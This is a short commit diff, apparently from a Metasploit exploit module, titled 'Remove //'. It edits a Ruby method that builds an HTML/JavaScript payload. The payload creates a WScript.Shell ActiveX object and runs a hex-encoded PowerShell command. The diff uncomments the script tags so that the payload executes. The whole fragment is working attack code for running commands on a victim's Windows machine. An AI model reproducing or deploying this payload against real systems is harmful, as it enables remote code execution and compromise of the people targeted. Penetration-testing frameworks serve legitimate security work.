Remove //
parent
4cea6c0236
commit
6188da054d
|
@ -165,10 +165,10 @@ var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{
|
|||
def psh_technique(var_shellobj, p)
|
||||
cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first))
|
||||
js_content = %Q|
|
||||
//<html><head></head><body><script>
|
||||
<html><head></head><body><script>
|
||||
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
|
||||
#{var_shellobj}.run(unescape("#{cmd}"), 1, true);
|
||||
//</script></html>
|
||||
</script></html>
|
||||
|
|
||||
|
||||
js_content
|
||||
|
|
Loading…
Reference in New Issue